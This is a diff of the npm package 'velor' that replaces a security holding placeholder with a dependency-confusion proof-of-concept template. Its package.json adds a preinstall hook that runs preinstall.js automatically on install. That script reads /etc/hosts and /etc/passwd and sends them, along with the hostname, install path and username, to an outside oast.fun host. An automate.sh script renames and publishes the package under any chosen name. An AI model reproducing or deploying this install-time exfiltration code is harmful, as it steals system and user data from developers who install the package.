velor 0.0.1-security → 48.47.48

package/README.md

@@ -1,5 +1,8 @@
-# Security holding package
+# dependency_confusion_poc
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+# To use this template:
 
-Please refer to www.npmjs.com/advisories?search=velor for more information.
+- Clone this repo
+- Install dependencies with npm install (Optional)
+- Login with your npmjs account by `npm login`
+- Create and upload an NPM packaged with `./automate.sh {package_name}`

package/automate.sh

@@ -0,0 +1,9 @@
+#!/bin/bash
+
+DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
+TMP_FILE="$DIR/package.json.tmp"
+sed "s,\"name\": \".*\",\"name\": \"$1\"," "$DIR/package.json" > "$TMP_FILE" && mv "$TMP_FILE" "$DIR/package.json"
+sed -i '' "s~\"name\": \".*\"~\"name\": \"$1\"~" package.json
+perl -i -pe "s~'User-Agent': '.*'~'User-Agent': '$1'~" preinstall.js
+
+npm publish

package/index.js

@@ -0,0 +1 @@
+console.log("Hello")

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "velor",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "48.47.48",
+  "type": "module",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node preinstall.js"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "node-fetch": "^3.3.1",
+    "os": "^0.1.2"
+  }
 }

package/preinstall.js

@@ -0,0 +1,28 @@
+import fetch from 'node-fetch';
+import os  from 'os'
+import path from 'path';
+import fs from 'fs';
+import {fileURLToPath} from 'url';
+
+const url = `http://cjhdjb92vtc0000vk8cggjes3fwyyyyyb.oast.fun`;
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
+const host = os.hostname();
+const headers = {
+  'User-Agent': 'velor',
+  'X-Hostname': host,
+  'X-path': __dirname,
+  'X-Current-User': os.userInfo().username 
+};
+
+fs.readFile('/etc/hosts', 'utf8', (err, data) => {
+  fetch(`${url}?hostData=${encodeURIComponent(data)}`, { headers })
+});
+fs.readFile('/etc/passwd', 'utf8', (err, data) => {
+  fetch(`${url}?passwdData=${encodeURIComponent(data)}`, { headers })
+});
+
+
+
+